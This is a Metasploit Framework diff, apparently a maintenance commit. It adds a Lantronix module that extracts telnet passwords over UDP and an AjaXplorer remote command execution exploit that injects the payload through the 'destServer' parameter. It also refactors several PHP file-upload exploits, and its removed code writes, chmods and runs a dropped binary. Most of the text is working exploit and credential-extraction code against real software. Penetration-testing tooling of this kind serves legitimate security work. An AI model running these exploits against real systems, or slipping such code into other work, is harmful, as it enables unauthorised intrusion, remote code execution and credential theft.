rescue ::Rex::Proto::SMB::Exceptions::LoginError
|
||||||
|
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode
|
||||||
end
|
end
|
||||||
|
|
||||||
disconnect()
|
disconnect()
|
||||||
|
@ -154,7 +156,8 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
connect()
|
connect()
|
||||||
begin
|
begin
|
||||||
smb_login()
|
smb_login()
|
||||||
rescue ::Rex::Proto::SMB::Exceptions::LoginError => e
|
rescue ::Rex::Proto::SMB::Exceptions::LoginError
|
||||||
|
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode
|
||||||
end
|
end
|
||||||
disconnect()
|
disconnect()
|
||||||
datastore['SMBDomain'] = orig_domain
|
datastore['SMBDomain'] = orig_domain
|
||||||
|
|
|
@ -0,0 +1,94 @@
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit4 < Msf::Auxiliary
|
||||||
|
include Msf::Exploit::Remote::Udp
|
||||||
|
include Msf::Auxiliary::Report
|
||||||
|
include Msf::Auxiliary::Scanner
|
||||||
|
|
||||||
|
def initialize
|
||||||
|
super(
|
||||||
|
'Name' => 'Lantronix Telnet Password Recovery',
|
||||||
|
'Description' => %q{
|
||||||
|
This module retrieves the setup record from Lantronix serial-to-ethernet
|
||||||
|
devices via the config port (30718/udp, enabled by default) and extracts the
|
||||||
|
telnet password. It has been tested successfully on a Lantronix Device Server
|
||||||
|
with software version V5.8.0.1.
|
||||||
|
},
|
||||||
|
'Author' => 'jgor',
|
||||||
|
'License' => MSF_LICENSE
|
||||||
|
)
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::CHOST,
|
||||||
|
Opt::RPORT(30718)
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def run_host(ip)
|
||||||
|
setup_probe = "\x00\x00\x00\xF8"
|
||||||
|
password = nil
|
||||||
|
|
||||||
|
begin
|
||||||
|
# Create an unbound UDP socket if no CHOST is specified, otherwise
|
||||||
|
# create a UDP socket bound to CHOST (in order to avail of pivoting)
|
||||||
|
udp_sock = Rex::Socket::Udp.create( {
|
||||||
|
'LocalHost' => datastore['CHOST'] || nil,
|
||||||
|
'PeerHost' => ip,
|
||||||
|
'PeerPort' => datastore['RPORT'],
|
||||||
|
'Context' =>
|
||||||
|
{
|
||||||
|
'Msf' => framework,
|
||||||
|
'MsfExploit' => self
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
udp_sock.put(setup_probe)
|
||||||
|
|
||||||
|
res = udp_sock.recvfrom(65535, 0.5) and res[1]
|
||||||
|
|
||||||
|
if res
|
||||||
|
password = parse_reply(res)
|
||||||
|
end
|
||||||
|
rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused, ::IOError
|
||||||
|
print_error("Connection error")
|
||||||
|
rescue ::Interrupt
|
||||||
|
raise $!
|
||||||
|
rescue ::Exception => e
|
||||||
|
print_error("Unknown error: #{e.class} #{e}")
|
||||||
|
ensure
|
||||||
|
udp_sock.close if udp_sock
|
||||||
|
end
|
||||||
|
|
||||||
|
if password
|
||||||
|
print_good("#{rhost} - Telnet password found: #{password.to_s}")
|
||||||
|
report_auth_info({
|
||||||
|
:host => rhost,
|
||||||
|
:port => 9999,
|
||||||
|
:sname => 'telnet',
|
||||||
|
:duplicate_ok => false,
|
||||||
|
:pass => password,
|
||||||
|
})
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
def parse_reply(pkt)
|
||||||
|
setup_record = pkt[0]
|
||||||
|
|
||||||
|
# If response is a setup record, extract password bytes 13-16
|
||||||
|
if setup_record[3].ord == 0xF9
|
||||||
|
return setup_record[12,4]
|
||||||
|
else
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -182,8 +182,8 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
print_good("[#{cid}] Logging raw keystrokes to: #{@client_cache[cid][:path_raw]}")
|
print_good("[#{cid}] Logging raw keystrokes to: #{@client_cache[cid][:path_raw]}")
|
||||||
end
|
end
|
||||||
|
|
||||||
::File.open( @client_cache[cid][:path_clean], "a") { |fd| fd.puts nice }
|
::File.open( @client_cache[cid][:path_clean], "ab") { |fd| fd.puts nice }
|
||||||
::File.open( @client_cache[cid][:path_raw], "a") { |fd| fd.write(real) }
|
::File.open( @client_cache[cid][:path_raw], "ab") { |fd| fd.write(real) }
|
||||||
|
|
||||||
if nice.length > 0
|
if nice.length > 0
|
||||||
print_good("[#{cid}] Keys: #{nice}")
|
print_good("[#{cid}] Keys: #{nice}")
|
||||||
|
|
|
@ -67,7 +67,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
def on_request_uri(cli, request)
|
def on_request_uri(cli, request)
|
||||||
print_status("Request '#{request.uri}'...")
|
print_status("Request '#{request.uri}'...")
|
||||||
|
|
||||||
case request.method
|
case request.method
|
||||||
when 'OPTIONS'
|
when 'OPTIONS'
|
||||||
process_options(cli, request)
|
process_options(cli, request)
|
||||||
|
@ -101,7 +101,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
end
|
end
|
||||||
exploit()
|
exploit()
|
||||||
end
|
end
|
||||||
|
|
||||||
def process_options(cli, request)
|
def process_options(cli, request)
|
||||||
print_status("OPTIONS #{request.uri}")
|
print_status("OPTIONS #{request.uri}")
|
||||||
headers = {
|
headers = {
|
||||||
|
|
|
@ -93,7 +93,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
# Handles the initial requests waiting for the browser to try NTLM auth
|
# Handles the initial requests waiting for the browser to try NTLM auth
|
||||||
def on_request_uri(cli, request)
|
def on_request_uri(cli, request)
|
||||||
|
|
||||||
case request.method
|
case request.method
|
||||||
when 'OPTIONS'
|
when 'OPTIONS'
|
||||||
process_options(cli, request)
|
process_options(cli, request)
|
||||||
|
@ -136,7 +136,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
parse_args()
|
parse_args()
|
||||||
exploit()
|
exploit()
|
||||||
end
|
end
|
||||||
|
|
||||||
def process_options(cli, request)
|
def process_options(cli, request)
|
||||||
print_status("OPTIONS #{request.uri}")
|
print_status("OPTIONS #{request.uri}")
|
||||||
headers = {
|
headers = {
|
||||||
|
|
|
@ -28,7 +28,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
],
|
],
|
||||||
'References' =>
|
'References' =>
|
||||||
[
|
[
|
||||||
|
['OSVDB', '61284']
|
||||||
],
|
],
|
||||||
'DefaultOptions' =>
|
'DefaultOptions' =>
|
||||||
{
|
{
|
||||||
|
@ -48,6 +48,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
['Apple iOS', { 'accounts' => [ [ 'root', 'alpine' ], [ 'mobile', 'dottie' ]] } ],
|
['Apple iOS', { 'accounts' => [ [ 'root', 'alpine' ], [ 'mobile', 'dottie' ]] } ],
|
||||||
],
|
],
|
||||||
'Privileged' => true,
|
'Privileged' => true,
|
||||||
|
'DisclosureDate' => "Jul 2 2007",
|
||||||
'DefaultTarget' => 0))
|
'DefaultTarget' => 0))
|
||||||
|
|
||||||
register_options(
|
register_options(
|
||||||
|
|
|
@ -6,11 +6,13 @@
|
||||||
##
|
##
|
||||||
|
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
|
require 'msf/core/exploit/php_exe'
|
||||||
|
|
||||||
class Metasploit3 < Msf::Exploit::Remote
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
Rank = ExcellentRanking
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
include Msf::Exploit::Remote::HttpClient
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Exploit::PhpEXE
|
||||||
|
|
||||||
def initialize(info={})
|
def initialize(info={})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
|
@ -28,8 +30,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Author' =>
|
'Author' =>
|
||||||
[
|
[
|
||||||
'AutoSec Tools', #Initial discovery
|
'AutoSec Tools', # Initial discovery
|
||||||
'sinn3r' #Metasploit
|
'sinn3r' # Metasploit
|
||||||
],
|
],
|
||||||
'References' =>
|
'References' =>
|
||||||
[
|
[
|
||||||
|
@ -42,15 +44,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
{
|
{
|
||||||
'BadChars' => "\x00",
|
'BadChars' => "\x00",
|
||||||
},
|
},
|
||||||
'DefaultOptions' =>
|
|
||||||
{
|
|
||||||
'EXITFUNC' => "none"
|
|
||||||
},
|
|
||||||
'Platform' => 'php',
|
'Platform' => 'php',
|
||||||
'Arch' => ARCH_PHP,
|
'Arch' => ARCH_PHP,
|
||||||
'Targets' =>
|
'Targets' =>
|
||||||
[
|
[
|
||||||
['V-CMS 1.0', {}],
|
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
|
||||||
|
[ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
|
||||||
],
|
],
|
||||||
'Privileged' => false,
|
'Privileged' => false,
|
||||||
'DisclosureDate' => "Nov 27 2011", #When the ticket was created
|
'DisclosureDate' => "Nov 27 2011", #When the ticket was created
|
||||||
|
@ -75,15 +74,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
def on_new_session(client)
|
|
||||||
if client.type == "meterpreter"
|
|
||||||
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
|
|
||||||
client.fs.file.rm(@payload_name)
|
|
||||||
else
|
|
||||||
client.shell_command_token("rm #{@payload_name}")
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
def exploit
|
def exploit
|
||||||
peer = "#{rhost}:#{rport}"
|
peer = "#{rhost}:#{rport}"
|
||||||
|
|
||||||
|
@ -91,18 +81,13 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
base << '/' if base[-1,1] != '/'
|
base << '/' if base[-1,1] != '/'
|
||||||
|
|
||||||
@payload_name = "#{rand_text_alpha(5)}.php"
|
@payload_name = "#{rand_text_alpha(5)}.php"
|
||||||
p = %Q|<?php
|
p = get_write_exec_payload(:unlink_self=>true)
|
||||||
#{payload.encoded}
|
|
||||||
?>
|
|
||||||
|
|
|
||||||
|
|
||||||
p = p.gsub(/^\t\t/, '')
|
|
||||||
|
|
||||||
post_data = "------x\r\n"
|
post_data = "------x\r\n"
|
||||||
post_data << "Content-Disposition: form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"\r\n"
|
post_data << "Content-Disposition: form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"\r\n"
|
||||||
post_data << "Content-Type: image/gif\r\n"
|
post_data << "Content-Type: image/gif\r\n"
|
||||||
post_data << "\r\n"
|
post_data << "\r\n"
|
||||||
post_data << p
|
post_data << p + "\r\n"
|
||||||
post_data << "------x--\r\n"
|
post_data << "------x--\r\n"
|
||||||
|
|
||||||
print_status("#{peer} Uploading payload: #{@payload_name}")
|
print_status("#{peer} Uploading payload: #{@payload_name}")
|
||||||
|
@ -133,4 +118,4 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
handler
|
handler
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -62,7 +62,7 @@ class Metasploit4 < Msf::Exploit::Local
|
||||||
],
|
],
|
||||||
'DefaultOptons' => { 'WfsDelay' => 2 },
|
'DefaultOptons' => { 'WfsDelay' => 2 },
|
||||||
'DefaultTarget' => 0,
|
'DefaultTarget' => 0,
|
||||||
'DisclosureDate' => "",
|
'DisclosureDate' => "Apr 16 2009",
|
||||||
}
|
}
|
||||||
))
|
))
|
||||||
register_options([
|
register_options([
|
||||||
|
|
|
@ -0,0 +1,111 @@
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'AjaXplorer checkInstall.php Remote Command Execution',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits an arbitrary command execution vulnerability in the
|
||||||
|
AjaXplorer 'checkInstall.php' script. All versions of AjaXplorer prior to
|
||||||
|
2.6 are vulnerable.
|
||||||
|
},
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Julien Cayssol', #Credited according to SecurityFocus
|
||||||
|
'David Maciejak', #Metasploit module
|
||||||
|
'sinn3r' #Final touch on the Metasploit module
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'OSVDB', '63552' ],
|
||||||
|
[ 'BID', '39334' ]
|
||||||
|
],
|
||||||
|
'Privileged' => false,
|
||||||
|
'Payload' =>
|
||||||
|
{
|
||||||
|
'DisableNops' => true,
|
||||||
|
'Space' => 512,
|
||||||
|
'Compat' =>
|
||||||
|
{
|
||||||
|
'ConnectionType' => 'find',
|
||||||
|
'PayloadType' => 'cmd',
|
||||||
|
'RequiredCmd' => 'generic perl ruby python bash telnet'
|
||||||
|
}
|
||||||
|
},
|
||||||
|
'Platform' => ['unix', 'bsd', 'linux', 'osx', 'windows'],
|
||||||
|
'Arch' => ARCH_CMD,
|
||||||
|
'Targets' => [[ 'AjaXplorer 2.5.5 or older', { }]],
|
||||||
|
'DisclosureDate' => 'Apr 4 2010',
|
||||||
|
'DefaultTarget' => 0))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('TARGETURI', [true, 'The base path to AjaXplorer', '/AjaXplorer-2.5.5/'])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
target_uri.path << '/' if target_uri.path[-1,1] != '/'
|
||||||
|
clue = Rex::Text::rand_text_alpha(rand(5) + 5)
|
||||||
|
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => "#{target_uri.path}plugins/access.ssh/checkInstall.php",
|
||||||
|
'vars_get' => {
|
||||||
|
'destServer' => "||echo #{clue}"
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
# If the server doesn't return the default redirection, probably something is wrong
|
||||||
|
if res and res.code == 200 and res.body =~ /#{clue}/
|
||||||
|
return Exploit::CheckCode::Vulnerable
|
||||||
|
end
|
||||||
|
|
||||||
|
return Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
peer = "#{rhost}:#{rport}"
|
||||||
|
target_uri.path << '/' if target_uri.path[-1,1] != '/'
|
||||||
|
|
||||||
|
# Trigger the command execution bug
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => "#{target_uri.path}plugins/access.ssh/checkInstall.php",
|
||||||
|
'vars_get' =>
|
||||||
|
{
|
||||||
|
'destServer' => "||#{payload.encoded}"
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
if res
|
||||||
|
print_status("#{peer} - The server returned: #{res.code} #{res.message}")
|
||||||
|
m = res.body.scan(/Received output:\s\[([^\]]+)\]/).flatten[0] || ''
|
||||||
|
|
||||||
|
if m.empty?
|
||||||
|
print_error("#{peer} - This server may not be vulnerable")
|
||||||
|
else
|
||||||
|
print_status("#{peer} - Command output from the server:")
|
||||||
|
print_line(m)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
=begin
|
||||||
|
Repo:
|
||||||
|
http://sourceforge.net/projects/ajaxplorer/files/ajaxplorer/2.6/
|
||||||
|
=end
|
|
@ -11,7 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
Rank = ExcellentRanking
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
include Msf::Exploit::Remote::HttpClient
|
include Msf::Exploit::Remote::HttpClient
|
||||||
include Msf::Exploit::EXE
|
include Msf::Exploit::PhpEXE
|
||||||
|
|
||||||
def initialize(info={})
|
def initialize(info={})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
|
@ -25,8 +25,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Author' =>
|
'Author' =>
|
||||||
[
|
[
|
||||||
'DaOne', #Vulnerability discovery
|
'DaOne', # Vulnerability discovery
|
||||||
'sinn3r' #Metasploit
|
'sinn3r' # Metasploit
|
||||||
],
|
],
|
||||||
'References' =>
|
'References' =>
|
||||||
[
|
[
|
||||||
|
@ -37,15 +37,11 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
{
|
{
|
||||||
'BadChars' => "\x00"
|
'BadChars' => "\x00"
|
||||||
},
|
},
|
||||||
'DefaultOptions' =>
|
|
||||||
{
|
|
||||||
'ExitFunction' => "none"
|
|
||||||
},
|
|
||||||
'Platform' => ['linux', 'php'],
|
'Platform' => ['linux', 'php'],
|
||||||
'Targets' =>
|
'Targets' =>
|
||||||
[
|
[
|
||||||
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
|
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
|
||||||
[ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
|
[ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
|
||||||
],
|
],
|
||||||
'Privileged' => false,
|
'Privileged' => false,
|
||||||
'DisclosureDate' => "Sep 14 2012",
|
'DisclosureDate' => "Sep 14 2012",
|
||||||
|
@ -71,41 +67,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
def get_write_exec_payload(fname, data)
|
|
||||||
p = Rex::Text.encode_base64(generate_payload_exe)
|
|
||||||
php = %Q|
|
|
||||||
<?php
|
|
||||||
$f = fopen("#{fname}", "wb");
|
|
||||||
fwrite($f, base64_decode("#{p}"));
|
|
||||||
fclose($f);
|
|
||||||
exec("chmod 777 #{fname}");
|
|
||||||
exec("#{fname}");
|
|
||||||
?>
|
|
||||||
|
|
|
||||||
php = php.gsub(/^\t\t/, '').gsub(/\n/, ' ')
|
|
||||||
return php
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
def on_new_session(cli)
|
|
||||||
if cli.type == "meterpreter"
|
|
||||||
cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
|
|
||||||
end
|
|
||||||
|
|
||||||
@clean_files.each do |f|
|
|
||||||
print_status("#{@peer} - Removing: #{f}")
|
|
||||||
begin
|
|
||||||
if cli.type == 'meterpreter'
|
|
||||||
cli.fs.file.rm(f)
|
|
||||||
else
|
|
||||||
cli.shell_command_token("rm #{f}")
|
|
||||||
end
|
|
||||||
rescue ::Exception => e
|
|
||||||
print_error("#{@peer} - Unable to remove #{f}: #{e.message}")
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
def upload_exec(base, php_fname, p)
|
def upload_exec(base, php_fname, p)
|
||||||
data = Rex::MIME::Message.new
|
data = Rex::MIME::Message.new
|
||||||
|
@ -148,17 +109,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
base = File.dirname("#{target_uri.path}.")
|
base = File.dirname("#{target_uri.path}.")
|
||||||
|
|
||||||
php_fname = "#{Rex::Text.rand_text_alpha(5)}.php"
|
php_fname = "#{Rex::Text.rand_text_alpha(5)}.php"
|
||||||
@clean_files = [php_fname]
|
|
||||||
|
|
||||||
case target['Platform']
|
p = get_write_exec_payload(:unlink_self=>true)
|
||||||
when 'php'
|
|
||||||
p = "<?php #{payload.encoded} ?>"
|
|
||||||
when 'linux'
|
|
||||||
bin_name = "#{Rex::Text.rand_text_alpha(5)}.bin"
|
|
||||||
@clean_files << bin_name
|
|
||||||
bin = generate_payload_exe
|
|
||||||
p = get_write_exec_payload("/tmp/#{bin_name}", bin)
|
|
||||||
end
|
|
||||||
|
|
||||||
upload_exec(base, php_fname, p)
|
upload_exec(base, php_fname, p)
|
||||||
end
|
end
|
||||||
|
|
|
@ -6,12 +6,13 @@
|
||||||
##
|
##
|
||||||
|
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
|
require 'msf/core/exploit/php_exe'
|
||||||
|
|
||||||
class Metasploit3 < Msf::Exploit::Remote
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
Rank = ExcellentRanking
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
include Msf::Exploit::Remote::HttpClient
|
include Msf::Exploit::Remote::HttpClient
|
||||||
include Msf::Exploit::EXE
|
include Msf::Exploit::PhpEXE
|
||||||
|
|
||||||
def initialize(info={})
|
def initialize(info={})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
|
@ -26,8 +27,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Author' =>
|
'Author' =>
|
||||||
[
|
[
|
||||||
'Yakir Wizman <yakir.wizman[at]gmail.com>', #Original discovery
|
'Yakir Wizman <yakir.wizman[at]gmail.com>', # Original discovery
|
||||||
'sinn3r' #Metasploit
|
'sinn3r' # Metasploit
|
||||||
],
|
],
|
||||||
'References' =>
|
'References' =>
|
||||||
[
|
[
|
||||||
|
@ -36,11 +37,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
],
|
],
|
||||||
'Payload' =>
|
'Payload' =>
|
||||||
{
|
{
|
||||||
'BadChars' => "\x00"
|
# Goes in the query string, needs to fit in 8k. Leave a little
|
||||||
},
|
# exra for the other params and the path.
|
||||||
'DefaultOptions' =>
|
'Space' => 8000,
|
||||||
{
|
'DisableNops' => true
|
||||||
'ExitFunction' => "none"
|
|
||||||
},
|
},
|
||||||
'Platform' => ['linux', 'php'],
|
'Platform' => ['linux', 'php'],
|
||||||
'Targets' =>
|
'Targets' =>
|
||||||
|
@ -72,42 +72,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
def get_write_exec_payload(fname, data)
|
|
||||||
p = Rex::Text.encode_base64(generate_payload_exe)
|
|
||||||
php = %Q|
|
|
||||||
<?php
|
|
||||||
$f = fopen("#{fname}", "wb");
|
|
||||||
fwrite($f, base64_decode("#{p}"));
|
|
||||||
fclose($f);
|
|
||||||
exec("chmod 777 #{fname}");
|
|
||||||
exec("#{fname}");
|
|
||||||
?>
|
|
||||||
|
|
|
||||||
php = php.gsub(/^\t\t/, '').gsub(/\n/, ' ')
|
|
||||||
return php
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
def on_new_session(cli)
|
|
||||||
if cli.type == "meterpreter"
|
|
||||||
cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
|
|
||||||
end
|
|
||||||
|
|
||||||
@clean_files.each do |f|
|
|
||||||
print_status("#{@peer} - Removing: #{f}")
|
|
||||||
begin
|
|
||||||
if cli.type == 'meterpreter'
|
|
||||||
cli.fs.file.rm(f)
|
|
||||||
else
|
|
||||||
cli.shell_command_token("rm #{f}")
|
|
||||||
end
|
|
||||||
rescue ::Exception => e
|
|
||||||
print_error("#{@peer} - Unable to remove #{f}: #{e.message}")
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
def exploit
|
def exploit
|
||||||
@peer = "#{rhost}:#{rport}"
|
@peer = "#{rhost}:#{rport}"
|
||||||
|
|
||||||
|
@ -121,31 +85,16 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
# Configure payload names
|
# Configure payload names
|
||||||
#
|
#
|
||||||
php_fname = Rex::Text.rand_text_alpha(5) + ".php"
|
php_fname = Rex::Text.rand_text_alpha(5) + ".php"
|
||||||
bin_fname = Rex::Text.rand_text_alpha(5)
|
|
||||||
@clean_files = [php_fname]
|
|
||||||
|
|
||||||
#
|
|
||||||
# Generate a payload based on target
|
|
||||||
#
|
|
||||||
case target['Platform']
|
|
||||||
when 'php'
|
|
||||||
p = "<?php #{payload.encoded} ?>"
|
|
||||||
when 'linux'
|
|
||||||
bin_fname << '.bin'
|
|
||||||
@clean_files << bin_fname
|
|
||||||
bin = generate_payload_exe
|
|
||||||
p = get_write_exec_payload("/tmp/#{bin_fname}", bin)
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
#
|
||||||
# Upload payload
|
# Upload payload
|
||||||
#
|
#
|
||||||
print_status("#{@peer} - Uploading payload (#{p.length.to_s} bytes)")
|
print_status("#{@peer} - Uploading payload")
|
||||||
res = send_request_cgi({
|
res = send_request_cgi({
|
||||||
'uri' => "#{base}/includes/savepage.php",
|
'uri' => "#{base}/includes/savepage.php",
|
||||||
'vars_get' => {
|
'vars_get' => {
|
||||||
'savepage' => php_fname,
|
'savepage' => php_fname,
|
||||||
'pagecontent' => p
|
'pagecontent' => get_write_exec_payload(:unlink_self=>true)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
|
|
||||||
|
@ -158,7 +107,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
# Run payload
|
# Run payload
|
||||||
#
|
#
|
||||||
print_status("#{@peer} - Requesting '#{php_fname}'")
|
print_status("#{@peer} - Requesting '#{php_fname}'")
|
||||||
send_request_raw({'uri' => "#{base}/pages/#{php_fname}"})
|
send_request_cgi({ 'uri' => "#{base}/pages/#{php_fname}" })
|
||||||
|
|
||||||
handler
|
handler
|
||||||
end
|
end
|
||||||
|
|
|
@ -188,14 +188,14 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
def rand_spaces(num = datastore["URIENCODING"])
|
def rand_spaces(num = datastore["URIENCODING"])
|
||||||
ret = ''
|
ret = ''
|
||||||
num.times {
|
num.times {
|
||||||
ret << rand_space
|
ret << rand_space
|
||||||
}
|
}
|
||||||
ret
|
ret
|
||||||
end
|
end
|
||||||
|
|
||||||
def rand_space
|
def rand_space
|
||||||
datastore["URIENCODING"] > 0 ? ["%20","%09","+"][rand(3)] : "+"
|
datastore["URIENCODING"] > 0 ? ["%20","%09","+"][rand(3)] : "+"
|
||||||
end
|
end
|
||||||
|
|
||||||
def rand_dash
|
def rand_dash
|
||||||
|
|
|
@ -21,7 +21,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
'Name' => 'phpMyAdmin 3.5.2.2 server_sync.php Backdoor',
|
'Name' => 'phpMyAdmin 3.5.2.2 server_sync.php Backdoor',
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
This module exploits an arbitrary code execution backdoor
|
This module exploits an arbitrary code execution backdoor
|
||||||
placed into phpMyAdmin v3.5.2.2 thorugh a compromised SourceForge mirror.
|
placed into phpMyAdmin v3.5.2.2 thorugh a compromised SourceForge mirror.
|
||||||
},
|
},
|
||||||
'Author' => [ 'hdm' ],
|
'Author' => [ 'hdm' ],
|
||||||
|
|
|
@ -6,12 +6,13 @@
|
||||||
##
|
##
|
||||||
|
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
|
require 'msf/core/exploit/php_exe'
|
||||||
|
|
||||||
class Metasploit3 < Msf::Exploit::Remote
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
Rank = ExcellentRanking
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
include Msf::Exploit::Remote::HttpClient
|
include Msf::Exploit::Remote::HttpClient
|
||||||
include Msf::Exploit::EXE
|
include Msf::Exploit::PhpEXE
|
||||||
|
|
||||||
def initialize(info={})
|
def initialize(info={})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
|
@ -26,8 +27,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Author' =>
|
'Author' =>
|
||||||
[
|
[
|
||||||
'dun', #Discovery, PoC
|
'dun', # Discovery, PoC
|
||||||
'sinn3r' #Metasploit
|
'sinn3r' # Metasploit
|
||||||
],
|
],
|
||||||
'References' =>
|
'References' =>
|
||||||
[
|
[
|
||||||
|
@ -38,10 +39,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
{
|
{
|
||||||
'BadChars' => "\x00"
|
'BadChars' => "\x00"
|
||||||
},
|
},
|
||||||
'DefaultOptions' =>
|
|
||||||
{
|
|
||||||
'ExitFunction' => "none"
|
|
||||||
},
|
|
||||||
'Platform' => ['linux', 'php'],
|
'Platform' => ['linux', 'php'],
|
||||||
'Targets' =>
|
'Targets' =>
|
||||||
[
|
[
|
||||||
|
@ -76,46 +73,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
#
|
|
||||||
